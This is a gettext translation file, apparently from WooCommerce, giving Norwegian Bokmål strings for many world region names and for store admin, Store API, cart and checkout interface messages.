#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:58
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:79
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:88
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:97
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:106
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:115
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:124
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:133
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:142
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:151
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:160
#: includes/tracks/events/class-wc-admin-setup-wizard-tracking.php:171
msgid "Onboarding is maintained in WooCommerce Admin."
msgstr "Onboarding vedlikeholdes i WooCommerce Admin."
#: i18n/countries.php:18
msgid "Åland Islands"
msgstr "Åland"
#: i18n/states.php:1865
msgid "Düzce"
msgstr "Düzce"
#: i18n/states.php:1862
msgid "Karabük"
msgstr "Karabük"
#: i18n/states.php:1860
msgid "Iğdır"
msgstr "Iğdır"
#: i18n/states.php:1858
msgid "Bartın"
msgstr "Bartın"
#: i18n/states.php:1857
msgid "Şırnak"
msgstr "Şırnak"
#: i18n/states.php:1855
msgid "Kırıkkale"
msgstr "Kırıkkale"
#: i18n/states.php:1848
msgid "Uşak"
msgstr "Uşak"
#: i18n/states.php:1847
msgid "Şanlıurfa"
msgstr "Şanlıurfa"
#: i18n/states.php:1843
msgid "Tekirdağ"
msgstr "Tekirdağ"
#: i18n/states.php:1835
msgid "Niğde"
msgstr "Niğde"
#: i18n/states.php:1834
msgid "Nevşehir"
msgstr "Nevşehir"
#: i18n/states.php:1833
msgid "Muş"
msgstr "Muş"
#: i18n/states.php:1832
msgid "Muğla"
msgstr "Muğla"
#: i18n/states.php:1830
msgid "Kahramanmaraş"
msgstr "Kahramanmaraş"
#: i18n/states.php:1827
msgid "Kütahya"
msgstr "Kütahya"
#: i18n/states.php:1824
msgid "Kırşehir"
msgstr "Kırşehir"
#: i18n/states.php:1823
msgid "Kırklareli"
msgstr "Kırklareli"
#: i18n/states.php:1819
msgid "İzmir"
msgstr "İzmir"
#: i18n/states.php:1818
msgid "İstanbul"
msgstr "İstanbul"
#: i18n/states.php:1817
msgid "İçel"
msgstr "İçel"
#: i18n/states.php:1813
msgid "Gümüşhane"
msgstr "Gümüşhane"
#: i18n/states.php:1810
msgid "Eskişehir"
msgstr "Eskişehir"
#: i18n/states.php:1807
msgid "Elazığ"
msgstr "Elazığ"
#: i18n/states.php:1805
msgid "Diyarbakır"
msgstr "Diyarbakır"
#: i18n/states.php:1803
msgid "Çorum"
msgstr "Çorum"
#: i18n/states.php:1802
msgid "Çankırı"
msgstr "Çankırı"
#: i18n/states.php:1801
msgid "Çanakkale"
msgstr "Çanakkale"
#: i18n/states.php:1796
msgid "Bingöl"
msgstr "Bingöl"
#: i18n/states.php:1794
msgid "Balıkesir"
msgstr "Balıkesir"
#: i18n/states.php:1793
msgid "Aydın"
msgstr "Aydın"
#: i18n/states.php:1788
msgid "Ağrı"
msgstr "Ağrı"
#: i18n/states.php:1786
msgid "Adıyaman"
msgstr "Adıyaman"
#: i18n/states.php:1651
msgid "Iași"
msgstr "Iași"
#: i18n/states.php:1643
msgid "Dâmbovița"
msgstr "Dâmbovița"
#: i18n/states.php:1623
msgid "Boquerón"
msgstr "Boquerón"
#: i18n/states.php:1620
msgid "Canindeyú"
msgstr "Canindeyú"
#: i18n/states.php:1618
msgid "Ñeembucú"
msgstr "Ñeembucú"
#: i18n/states.php:1616
msgid "Alto Paraná"
msgstr "Alto Paraná"
#: i18n/states.php:1615
msgid "Paraguarí"
msgstr "Paraguarí"
#: i18n/states.php:1613
msgid "Itapúa"
msgstr "Itapúa"
#: i18n/states.php:1612
msgid "Caazapá"
msgstr "Caazapá"
#: i18n/states.php:1611
msgid "Caaguazú"
msgstr "Caaguazú"
#: i18n/states.php:1610
msgid "Guairá"
msgstr "Guairá"
#: i18n/states.php:1607
msgid "Concepción"
msgstr "Concepción"
#: i18n/states.php:1606
msgid "Asunción"
msgstr "Asunción"
#: i18n/states.php:1503
msgid "San Martín"
msgstr "San Martín"
#: i18n/states.php:1493
msgid "Junín"
msgstr "Junín"
#: i18n/states.php:1491
msgid "Huánuco"
msgstr "Huánuco"
#: i18n/states.php:1485
msgid "Apurímac"
msgstr "Apurímac"
#: i18n/states.php:1454
msgid "Hawke’s Bay"
msgstr "Hawke’s Bay"
#: i18n/states.php:1306
msgid "Estado de México"
msgstr "Estado de México"
#: i18n/states.php:1291
msgid "Ciudad de México"
msgstr "Ciudad de México"
#: i18n/states.php:1284
msgid "Telenești"
msgstr "Telenești"
#: i18n/states.php:1282
msgid "Ștefan Vodă"
msgstr "Ștefan Vodă"
#: i18n/states.php:1281
msgid "Șoldănești"
msgstr "Șoldănești"
#: i18n/states.php:1280
msgid "Strășeni"
msgstr "Strășeni"
#: i18n/states.php:1278
msgid "Sîngerei"
msgstr "Sîngerei"
#: i18n/states.php:1277
msgid "Rîșcani"
msgstr "Rîșcani"
#: i18n/states.php:1274
msgid "Ocnița"
msgstr "Ocnița"
#: i18n/states.php:1270
msgid "Hîncești"
msgstr "Hîncești"
#: i18n/states.php:1268
msgid "UTA Găgăuzia"
msgstr "UTA Găgăuzia"
#: i18n/states.php:1267
msgid "Florești"
msgstr "Florești"
#: i18n/states.php:1266
msgid "Fălești"
msgstr "Fălești"
#: i18n/states.php:1265
msgid "Edineț"
msgstr "Edineț"
#: i18n/states.php:1264
msgid "Dubăsari"
msgstr "Dubăsari"
#: i18n/states.php:1262
msgid "Dondușeni"
msgstr "Dondușeni"
#: i18n/states.php:1260
msgid "Cimișlia"
msgstr "Cimișlia"
#: i18n/states.php:1259
msgid "Căușeni"
msgstr "Căușeni"
#: i18n/states.php:1258 i18n/states.php:1638
msgid "Călărași"
msgstr "Călărași"
#: i18n/states.php:1252
msgid "Bălți"
msgstr "Bălți"
#: i18n/states.php:1251
msgid "Chișinău"
msgstr "Chișinău"
#: i18n/states.php:588
msgid "Málaga"
msgstr "Málaga"
#: i18n/states.php:584 i18n/states.php:1438
msgid "León"
msgstr "León"
#: i18n/states.php:581
msgid "Jaén"
msgstr "Jaén"
#: i18n/states.php:570
msgid "Castellón"
msgstr "Castellón"
#: i18n/states.php:568
msgid "Cádiz"
msgstr "Cádiz"
#: i18n/states.php:567
msgid "Cáceres"
msgstr "Cáceres"
#: i18n/states.php:562
msgid "Ávila"
msgstr "Ávila"
#: i18n/states.php:560
msgid "Almería"
msgstr "Almería"
#: i18n/states.php:557
msgid "Araba/Álava"
msgstr "Araba/Álava"
#: i18n/states.php:556
msgid "A Coruña"
msgstr "A Coruña"
#: i18n/states.php:496
msgid "Ghardaïa"
msgstr "Ghardaïa"
#: i18n/states.php:495
msgid "Aïn Témouchent"
msgstr "Aïn Témouchent"
#: i18n/states.php:493
msgid "Aïn Defla"
msgstr "Aïn Defla"
#: i18n/states.php:484
msgid "Boumerdès"
msgstr "Boumerdès"
#: i18n/states.php:483
msgid "Bordj Bou Arréridj"
msgstr "Bordj Bou Arréridj"
#: i18n/states.php:477
msgid "M’Sila"
msgstr "M’Sila"
#: i18n/states.php:475
msgid "Médéa"
msgstr "Médéa"
#: i18n/states.php:471
msgid "Sidi Bel Abbès"
msgstr "Sidi Bel Abbès"
#: i18n/states.php:469
msgid "Saïda"
msgstr "Saïda"
#: i18n/states.php:468
msgid "Sétif"
msgstr "Sétif"
#: i18n/states.php:461
msgid "Tébessa"
msgstr "Tébessa"
#: i18n/states.php:457
msgid "Béchar"
msgstr "Béchar"
#: i18n/states.php:455
msgid "Béjaïa"
msgstr "Béjaïa"
#: i18n/states.php:339
msgid "Xinjiang / 新疆"
msgstr "Xinjiang / 新疆"
#: i18n/states.php:338
msgid "Tibet / 西藏"
msgstr "Tibet / 西藏"
#: i18n/states.php:337
msgid "Macao / 澳门"
msgstr "Macao / 澳门"
#: i18n/states.php:336
msgid "Ningxia Hui / 宁夏"
msgstr "Ningxia Hui / 宁夏"
#: i18n/states.php:335
msgid "Qinghai / 青海"
msgstr "Qinghai / 青海"
#: i18n/states.php:334
msgid "Gansu / 甘肃"
msgstr "Gansu / 甘肃"
#: i18n/states.php:333
msgid "Shaanxi / 陕西"
msgstr "Shaanxi / 陕西"
#: i18n/states.php:332
msgid "Guizhou / 贵州"
msgstr "Guizhou / 贵州"
#: i18n/states.php:331
msgid "Sichuan / 四川"
msgstr "Sichuan / 四川"
#: i18n/states.php:330
msgid "Chongqing / 重庆"
msgstr "Chongqing / 重庆"
#: i18n/states.php:329
msgid "Hainan / 海南"
msgstr "Hainan / 海南"
#: i18n/states.php:328
msgid "Guangxi Zhuang / 广西壮族"
msgstr "Guangxi Zhuang / 广西壮族"
#: i18n/states.php:327
msgid "Guangdong / 广东"
msgstr "Guangdong / 广东"
#: i18n/states.php:326
msgid "Hunan / 湖南"
msgstr "Hunan / 湖南"
#: i18n/states.php:325
msgid "Hubei / 湖北"
msgstr "Hubei / 湖北"
#: i18n/states.php:324
msgid "Henan / 河南"
msgstr "Henan / 河南"
#: i18n/states.php:323
msgid "Shandong / 山东"
msgstr "Shandong / 山东"
#: i18n/states.php:322
msgid "Jiangxi / 江西"
msgstr "Jiangxi / 江西"
#: i18n/states.php:321
msgid "Fujian / 福建"
msgstr "Fujian / 福建"
#: i18n/states.php:320
msgid "Anhui / 安徽"
msgstr "Anhui / 安徽"
#: i18n/states.php:319
msgid "Zhejiang / 浙江"
msgstr "Zhejiang / 浙江"
#: i18n/states.php:318
msgid "Jiangsu / 江苏"
msgstr "Jiangsu / 江苏"
#: i18n/states.php:317
msgid "Shanghai / 上海"
msgstr "Shanghai / 上海"
#: i18n/states.php:316
msgid "Heilongjiang / 黑龙江"
msgstr "Heilongjiang / 黑龙江"
#: i18n/states.php:315
msgid "Jilin / 吉林"
msgstr "Jilin / 吉林"
#: i18n/states.php:314
msgid "Liaoning / 辽宁"
msgstr "Liaoning / 辽宁"
#: i18n/states.php:313
msgid "Inner Mongolia / 內蒙古"
msgstr "Inner Mongolia / 內蒙古"
#: i18n/states.php:312
msgid "Shanxi / 山西"
msgstr "Shanxi / 山西"
#: i18n/states.php:311
msgid "Hebei / 河北"
msgstr "Hebei / 河北"
#: i18n/states.php:310
msgid "Tianjin / 天津"
msgstr "Tianjin / 天津"
#: i18n/states.php:309
msgid "Beijing / 北京"
msgstr "Beijing / 北京"
#: i18n/states.php:308
msgid "Yunnan / 云南"
msgstr "Yunnan / 云南"
#: i18n/states.php:287
msgid "Zürich"
msgstr "Zürich"
#: i18n/states.php:274
msgid "Neuchâtel"
msgstr "Neuchâtel"
#: i18n/states.php:271
msgid "Graubünden"
msgstr "Graubünden"
#: i18n/states.php:242
msgid "São Paulo"
msgstr "São Paulo"
#: i18n/states.php:239
msgid "Rondônia"
msgstr "Rondônia"
#: i18n/states.php:235
msgid "Piauí"
msgstr "Piauí"
#: i18n/states.php:233
msgid "Paraná"
msgstr "Paraná"
#: i18n/states.php:232
msgid "Paraíba"
msgstr "Paraíba"
#: i18n/states.php:231
msgid "Pará"
msgstr "Pará"
#: i18n/states.php:227
msgid "Maranhão"
msgstr "Maranhão"
#: i18n/states.php:226
msgid "Goiás"
msgstr "Goiás"
#: i18n/states.php:225
msgid "Espírito Santo"
msgstr "Espírito Santo"
#: i18n/states.php:223
msgid "Ceará"
msgstr "Ceará"
#: i18n/states.php:220
msgid "Amapá"
msgstr "Amapá"
#: i18n/states.php:79
msgid "Tucumán"
msgstr "Tucumán"
#: i18n/states.php:71 i18n/states.php:2174
msgid "Río Negro"
msgstr "Río Negro"
#: i18n/states.php:70
msgid "Neuquén"
msgstr "Neuquén"
#: i18n/states.php:63
msgid "Entre Ríos"
msgstr "Entre Ríos"
#: i18n/states.php:61 i18n/states.php:354 i18n/states.php:573
msgid "Córdoba"
msgstr "Córdoba"
#: i18n/states.php:56
msgid "Ciudad Autónoma de Buenos Aires"
msgstr "Ciudad Autónoma de Buenos Aires"
#: src/Blocks/BlockTypesController.php:229
msgid "WooCommerce Product Elements"
msgstr "WooCommerce produktlinjer"
#: i18n/states.php:1369
msgid "Zambezi"
msgstr "Zambezi"
#: i18n/states.php:1368
msgid "Otjozondjupa"
msgstr "Otjozondjupa"
#: i18n/states.php:1367
msgid "Oshikoto"
msgstr "Oshikoto"
#: i18n/states.php:1366
msgid "Oshana"
msgstr "Oshana"
#: i18n/states.php:1365
msgid "Omusati"
msgstr "Omusati"
#: i18n/states.php:1364
msgid "Omaheke"
msgstr "Omaheke"
#: i18n/states.php:1363
msgid "Ohangwena"
msgstr "Ohangwena"
#: i18n/states.php:1362
msgid "Kunene"
msgstr "Kunene"
#: i18n/states.php:1361
msgid "Khomas"
msgstr "Khomas"
#: i18n/states.php:1360
msgid "Kavango West"
msgstr "Kavango West"
#: i18n/states.php:1359
msgid "Kavango East"
msgstr "Kavango East"
#: i18n/states.php:1358
msgid "Karas"
msgstr "Karas"
#: i18n/states.php:1357
msgid "Hardap"
msgstr "Hardap"
#: i18n/states.php:1356
msgid "Erongo"
msgstr "Erongo"
#: i18n/states.php:646
msgid "Crete"
msgstr "Crete"
#: i18n/states.php:645
msgid "South Aegean"
msgstr "South Aegean"
#: i18n/states.php:644
msgid "North Aegean"
msgstr "North Aegean"
#: i18n/states.php:643
msgid "Peloponnese"
msgstr "Peloponnese"
#: i18n/states.php:642
msgid "Central Greece"
msgstr "Central Greece"
#: i18n/states.php:641
msgid "West Greece"
msgstr "West Greece"
#: i18n/states.php:640
msgid "Ionian Islands"
msgstr "Ionian Islands"
#: i18n/states.php:639
msgid "Thessaly"
msgstr "Thessaly"
#: i18n/states.php:638
msgid "Epirus"
msgstr "Epirus"
#: i18n/states.php:637
msgid "West Macedonia"
msgstr "West Macedonia"
#: i18n/states.php:636
msgid "Central Macedonia"
msgstr "Central Macedonia"
#: i18n/states.php:635
msgid "East Macedonia and Thrace"
msgstr "East Macedonia and Thrace"
#: i18n/states.php:634
msgid "Attica"
msgstr "Attica"
#: i18n/states.php:497
msgid "Relizane"
msgstr "Relizane"
#: i18n/states.php:494
msgid "Naama"
msgstr "Naama"
#: i18n/states.php:492
msgid "Mila"
msgstr "Mila"
#: i18n/states.php:491
msgid "Tipasa"
msgstr "Tipasa"
#: i18n/states.php:490
msgid "Souk Ahras"
msgstr "Souk Ahras"
#: i18n/states.php:489
msgid "Khenchela"
msgstr "Khenchela"
#: i18n/states.php:488
msgid "El Oued"
msgstr "El Oued"
#: i18n/states.php:487
msgid "Tissemsilt"
msgstr "Tissemsilt"
#: i18n/states.php:486
msgid "Tindouf"
msgstr "Tindouf"
#: i18n/states.php:485
msgid "El Tarf"
msgstr "El Tarf"
#: i18n/states.php:482
msgid "Illizi"
msgstr "Illizi"
#: i18n/states.php:481
msgid "El Bayadh"
msgstr "El Bayadh"
#: i18n/states.php:480
msgid "Oran"
msgstr "Oran"
#: i18n/states.php:479
msgid "Ouargla"
msgstr "Ouargla"
#: i18n/states.php:478
msgid "Mascara"
msgstr "Mascara"
#: i18n/states.php:476
msgid "Mostaganem"
msgstr "Mostaganem"
#: i18n/states.php:474
msgid "Constantine"
msgstr "Constantine"
#: i18n/states.php:473
msgid "Guelma"
msgstr "Guelma"
#: i18n/states.php:472
msgid "Annaba"
msgstr "Annaba"
#: i18n/states.php:470
msgid "Skikda"
msgstr "Skikda"
#: i18n/states.php:467
msgid "Jijel"
msgstr "Jijel"
#: i18n/states.php:466
msgid "Djelfa"
msgstr "Djelfa"
#: i18n/states.php:465
msgid "Algiers"
msgstr "Algiers"
#: i18n/states.php:464
msgid "Tizi Ouzou"
msgstr "Tizi Ouzou"
#: i18n/states.php:463
msgid "Tiaret"
msgstr "Tiaret"
#: i18n/states.php:462
msgid "Tlemcen"
msgstr "Tlemcen"
#: i18n/states.php:460
msgid "Tamanghasset"
msgstr "Tamanghasset"
#: i18n/states.php:459
msgid "Bouira"
msgstr "Bouira"
#: i18n/states.php:458
msgid "Blida"
msgstr "Blida"
#: i18n/states.php:456
msgid "Biskra"
msgstr "Biskra"
#: i18n/states.php:454
msgid "Batna"
msgstr "Batna"
#: i18n/states.php:453
msgid "Oum El Bouaghi"
msgstr "Oum El Bouaghi"
#: i18n/states.php:452
msgid "Laghouat"
msgstr "Laghouat"
#: i18n/states.php:451
msgid "Chlef"
msgstr "Chlef"
#: i18n/states.php:450
msgid "Adrar"
msgstr "Adrar"
#: includes/admin/views/html-quick-edit-product.php:201
msgid "This will change the stock status of all variations."
msgstr "Dette vil endre lagerstatus for alle varianter."
#: includes/admin/class-wc-admin-assets.php:730
msgid "Are you sure you want to run this tool?"
msgstr "Er du sikker på at du vil kjøre dette verktøyet?"
#: includes/admin/meta-boxes/views/html-order-items.php:281
msgid "Net Payment"
msgstr "Netto betaling"
#. translators: 1: payment date. 2: payment method
#: includes/admin/meta-boxes/views/html-order-items.php:255
msgid "%1$s via %2$s"
msgstr "%1$s via %2$s"
#: includes/admin/meta-boxes/views/html-order-items.php:243
msgid "Paid"
msgstr "Betalt"
#. translators: %s: File name
#: includes/admin/importers/views/html-csv-import-done.php:64
msgid "File uploaded: %s"
msgstr "Fil lastet opp: %s"
#: includes/cli/class-wc-cli-runner.php:117
msgid "The ID for the resource."
msgstr "Id-en for denne ressursen."
#: includes/cli/class-wc-cli-runner.php:116
msgid "Instance ID."
msgstr "Forekomst-id."
#. translators: %s: taxonomy label
#: includes/class-wc-post-types.php:615
msgctxt "taxonomy term messages"
msgid "%s not updated"
msgstr "%s ikke oppdatert"
#. translators: %s: taxonomy label
#: includes/class-wc-post-types.php:613
msgctxt "taxonomy term messages"
msgid "%s not added"
msgstr "%s ikke lagt til"
#. translators: %s: taxonomy label
#: includes/class-wc-post-types.php:611
msgctxt "taxonomy term messages"
msgid "%s updated"
msgstr "%s oppdatert"
#. translators: %s: taxonomy label
#: includes/class-wc-post-types.php:609 includes/class-wc-post-types.php:617
msgctxt "taxonomy term messages"
msgid "%s deleted"
msgstr "%s slettet"
#. translators: %s: taxonomy label
#: includes/class-wc-post-types.php:607
msgctxt "taxonomy term messages"
msgid "%s added"
msgstr "%s lagt til"
#: includes/class-wc-post-types.php:590
msgid "Tag not updated."
msgstr "Stikkord ikke oppdatert."
#: includes/class-wc-post-types.php:589
msgid "Tag not added."
msgstr "Stikkord ikke lagt til."
#: includes/class-wc-post-types.php:588
msgid "Tag updated."
msgstr "Stikkord oppdatert."
#: includes/class-wc-post-types.php:587
msgid "Tag deleted."
msgstr "Stikkord slettet."
#: includes/class-wc-post-types.php:586
msgid "Tag added."
msgstr "Stikkord lagt til."
#: includes/class-wc-post-types.php:580
msgid "Category not updated."
msgstr "Category not updated."
#: includes/class-wc-post-types.php:579
msgid "Category not added."
msgstr "Kategori ikke lagt til."
#: includes/class-wc-post-types.php:578
msgid "Category updated."
msgstr "Kategori oppdatert."
#: includes/class-wc-post-types.php:577
msgid "Category deleted."
msgstr "Kategori slettet."
#: includes/class-wc-post-types.php:576
msgid "Category added."
msgstr "Kategori lagt til."
#: includes/class-wc-post-types.php:84
msgctxt "Taxonomy name"
msgid "Product visibility"
msgstr "Produktsynlighet"
#: includes/class-wc-post-types.php:67
msgctxt "Taxonomy name"
msgid "Product type"
msgstr "Produkttype"
#: includes/class-wc-install.php:2481
msgid "Community support"
msgstr "Community support"
#: includes/class-wc-install.php:2481
msgid "Visit community forums"
msgstr "Visit community forums"
#: includes/class-wc-checkout.php:1185
msgid "An account is already registered with your email address. <a href=\"#\" class=\"showlogin\">Please log in.</a>"
msgstr "En konto er allerede registrert med e-postadressen din. <a href=\"#\" class=\"showlogin\">Logg inn her.</a>"
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:168
msgid "Taxes applied to this shipping rate using the smallest unit of the currency."
msgstr "Avgifter gjelder for denne fraktsatsen ved hjelp av den minste enheten i valutaen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:113
msgid "True if the product is on backorder."
msgstr "Sant hvis produktet er i restordre."
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:42
msgid "The attribute taxonomy name."
msgstr "Taksonominavnen for attributtet."
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1863
#: src/StoreApi/Schemas/V1/ProductSchema.php:485
msgid "Add to cart URL."
msgstr "Nettadresse for «Legg i handlekurv»."
#: src/StoreApi/Schemas/V1/ProductSchema.php:429
msgid "Is the product stock backordered? This will also return false if backorder notifications are turned off."
msgstr "Er produktlager satt til restordre? Dette returnerer også usann hvis restordrevarsler er slått av."
#: src/StoreApi/Schemas/V1/ProductSchema.php:411
msgid "Does the product have additional options before it can be added to the cart?"
msgstr "Har produktet flere alternativer før det kan legges til i handlekurven?"
#: src/StoreApi/Schemas/V1/ProductSchema.php:388
msgid "The assigned attribute."
msgstr "Det tilordnede attributtet."
#: src/StoreApi/Schemas/V1/ProductSchema.php:375
msgid "List of variation attributes."
msgstr "Liste over variantattributter."
#: src/StoreApi/Schemas/V1/ProductSchema.php:344
msgid "The term slug."
msgstr "Term-identifikatoren."
#: src/StoreApi/Schemas/V1/ProductSchema.php:338
msgid "The term name."
msgstr "Navnet på termen."
#: src/StoreApi/Schemas/V1/ProductSchema.php:332
msgid "The term ID, or 0 if the attribute is not a global attribute."
msgstr "Term-id-en, eller 0 hvis attributtet ikke er et globalt attributt."
#: src/StoreApi/Schemas/V1/ProductSchema.php:325
msgid "List of assigned attribute terms."
msgstr "Liste over tilordnede attributt-termer."
#: src/StoreApi/Schemas/V1/ProductSchema.php:319
msgid "True if this attribute is used by product variations."
msgstr "Sann hvis dette attributtet brukes av produktvarianter."
#: src/StoreApi/Schemas/V1/ProductSchema.php:313
msgid "The attribute taxonomy, or null if the attribute is not taxonomy based."
msgstr "Attributtets taksonomi, eller null hvis attributtet ikke er taksonomibasert."
#: src/StoreApi/Schemas/V1/ProductSchema.php:307
#: src/StoreApi/Schemas/V1/ProductSchema.php:382
msgid "The attribute name."
msgstr "Attributtnavnet."
#: src/StoreApi/Schemas/V1/ProductSchema.php:301
#: src/StoreApi/Schemas/V1/ProductSchema.php:369
msgid "The attribute ID, or 0 if the attribute is not taxonomy based."
msgstr "Attributt-id, eller 0 hvis attributtet ikke er taksonomibasert."
#: src/StoreApi/Schemas/V1/ProductSchema.php:251
msgid "Tag link."
msgstr "Stikkordlenke."
#: src/StoreApi/Schemas/V1/ProductSchema.php:245
msgid "Tag slug"
msgstr "Stikkord-identifikator"
#: src/StoreApi/Schemas/V1/ProductSchema.php:239
msgid "Tag name"
msgstr "Navn på stikkord"
#: src/StoreApi/Schemas/V1/ProductSchema.php:233
msgid "Tag ID"
msgstr "Stikkord-id"
#: src/StoreApi/Schemas/V1/ProductSchema.php:226
msgid "List of tags, if applicable."
msgstr "Liste over stikkord, hvis aktuelt."
#: src/StoreApi/Schemas/V1/ProductSchema.php:217
msgid "Category link"
msgstr "Kategori-lenke"
#: src/StoreApi/Schemas/V1/ProductSchema.php:211
msgid "Category slug"
msgstr "Kategori-identifikator"
#: src/StoreApi/Schemas/V1/ProductSchema.php:205
msgid "Category name"
msgstr "Kategorinavn"
#: src/StoreApi/Schemas/V1/ProductSchema.php:199
msgid "Category ID"
msgstr "Kategori-id"
#: src/StoreApi/Schemas/V1/ProductSchema.php:192
msgid "List of categories, if applicable."
msgstr "Liste over kategorier, hvis aktuelt."
#: src/Admin/API/Reports/Orders/Stats/Controller.php:169
msgid "Total distinct customers."
msgstr "Totalt forskjellige kunder."
#: src/Admin/API/OnboardingProfile.php:445
msgid "Whether or not the profile was skipped."
msgstr "Hvorvidt profilen ble hoppet over eller ikke."
#: src/Internal/Admin/Analytics.php:286
msgid "Analytics cache cleared."
msgstr "Analyse-mellomlageret er tømt."
#: src/Internal/Admin/Analytics.php:158
msgid "Clear analytics cache"
msgstr "Tøm mellomlageret for analyse"
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:55
msgid "Customizable products"
msgstr "Produkter som kan tilpasses"
#: src/Internal/Admin/Onboarding/OnboardingProducts.php:51
msgid "Bundles"
msgstr "Pakkeløsninger"
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:60
#: assets/client/admin/chunks/core-profiler.js:1
msgid "Education and learning"
msgstr "Utdanning og opplæring"
#: src/Internal/Admin/Notes/CustomizeStoreWithBlocks.php:73
msgid "With our blocks, you can select and display products, categories, filters, and more virtually anywhere on your site — no need to use shortcodes or edit lines of code. Learn more about how to use each one of them."
msgstr "Med blokkene våre kan du velge og vise produkter, kategorier, filtre og mer nesten hvor som helst på nettstedet ditt – du trenger ikke å bruke kortkoder eller redigere kodelinjer. Finn ut mer om hvordan du bruker hver og en av dem."
#: src/Internal/Admin/Notes/CustomizeStoreWithBlocks.php:72
msgid "Customize your online store with WooCommerce blocks"
msgstr "Tilpass nettbutikken din med WooCommerce-blokker"
#: src/Internal/Admin/Notes/LaunchChecklist.php:51
msgid "Ready to launch your store?"
msgstr "Er du klar til å starte butikken?"
#: src/Internal/Admin/Notes/LaunchChecklist.php:48
msgid "To make sure you never get that sinking \"what did I forget\" feeling, we've put together the essential pre-launch checklist."
msgstr "For å sikre at du aldri får \"hva glemte jeg\" følelsen, har vi satt sammen den essensielle sjekklisten før lansering."
#: src/Admin/Features/OnboardingTasks/Tasks/AdditionalPayments.php:42
msgid "Set up additional payment options"
msgstr "Sett opp flere betalingsalternativer"
#. translators: 1: Orders URL 2: Address URL 3: Account URL.
#: templates/myaccount/dashboard.php:45
msgid "From your account dashboard you can view your <a href=\"%1$s\">recent orders</a>, manage your <a href=\"%2$s\">billing address</a>, and <a href=\"%3$s\">edit your password and account details</a>."
msgstr "Fra din kontos kontrollpanel kan du se dine <a href=\"%1$s\">siste ordre</a>, redigere din <a href=\"%2$s\">fakturaadresse</a> og <a href=\"%3$s\">tilpasse passord og kontodetaljer</a>."
#: src/Admin/Notes/DataStore.php:128
msgid "Invalid admin note"
msgstr "Ugyldig admin notat"
#: src/Blocks/BlockTypes/Cart.php:79
#: assets/client/blocks/checkout-frontend.js:5
msgid "Browse store"
msgstr "Se gjennom butikken"
#: includes/class-wc-install.php:3022 src/Blocks/BlockTypes/Cart.php:88
#: assets/client/blocks/cart.js:23
msgid "New in store"
msgstr "Nyheter i butikken"
#: includes/class-wc-install.php:3014 src/Blocks/BlockTypes/Cart.php:78
#: src/Blocks/BlockTypes/MiniCart.php:925 assets/client/blocks/cart.js:23
#: assets/client/blocks/checkout-frontend.js:5
msgid "Your cart is currently empty!"
msgstr "Din handlekurv er tom."
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:46
#: assets/client/blocks/cart.js:12
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:9
msgid "Details"
msgstr "Detaljer"
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:44
#: templates/cart/cart.php:28 assets/client/blocks/cart.js:12
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/wc-blocks-frontend-vendors-frontend.js:7
#: assets/client/blocks/wc-blocks-vendors.js:7
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:9
msgid "Remove item"
msgstr "Slett produkt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1094
msgid "Variation options"
msgstr "Variasjonsmuligheter"
#: src/Blocks/Domain/Services/CheckoutFields.php:788
msgid "Phone (optional)"
msgstr "Telefon (valgfritt)"
#: templates/emails/email-order-details.php:47
#: assets/client/blocks/checkout-frontend.js:5
#: assets/client/blocks/checkout.js:24
msgid "Order summary"
msgstr "Ordresammendrag"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:173
#: assets/client/blocks/wc-blocks-google-analytics.js:1
msgid "Payment Method"
msgstr "Betalingsmåte"
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:152
#: assets/client/blocks/all-products.js:8 assets/client/blocks/cart.js:8
#: assets/client/blocks/checkout.js:34
#: assets/client/blocks/mini-cart-contents.js:9
#: assets/client/blocks/product-price-frontend.js:2
#: assets/client/blocks/product-price.js:2
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:35
msgid "Discounted price:"
msgstr "Rabattert pris:"
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:148
#: assets/client/blocks/all-products.js:8 assets/client/blocks/cart.js:8
#: assets/client/blocks/checkout.js:34
#: assets/client/blocks/mini-cart-contents.js:9
#: assets/client/blocks/product-price-frontend.js:2
#: assets/client/blocks/product-price.js:2
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:35
msgid "Previous price:"
msgstr "Tidligere pris:"
#. translators: %d stock amount (number of items in stock for product)
#. translators: %d is number of items in stock for product
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:67
#: src/Blocks/BlockTypes/ProductStockIndicator.php:121
#: assets/client/blocks/cart.js:9 assets/client/blocks/checkout.js:35
#: assets/client/blocks/mini-cart-contents.js:10
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:27
msgid "%d left in stock"
msgstr "%d igjen på lager"
#: src/Blocks/Domain/Services/CheckoutFields.php:776
msgid "Postal code (optional)"
msgstr "Postnummer (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:764
msgid "State/County (optional)"
msgstr "Delstat/fylke (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:752
msgid "City (optional)"
msgstr "Poststed (valgfritt)"
#: src/Blocks/Domain/Services/CheckoutFields.php:681
msgid "Country/Region (optional)"
msgstr "Land/region (valgfritt)"
